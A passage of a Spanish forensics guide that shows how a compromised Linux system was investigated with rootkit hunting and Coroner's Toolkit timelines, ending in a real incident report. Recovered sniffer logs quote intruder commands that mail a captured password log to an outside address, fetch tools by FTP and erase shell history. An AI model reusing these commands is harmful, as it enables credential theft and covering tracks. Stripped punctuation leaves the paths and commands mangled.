find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

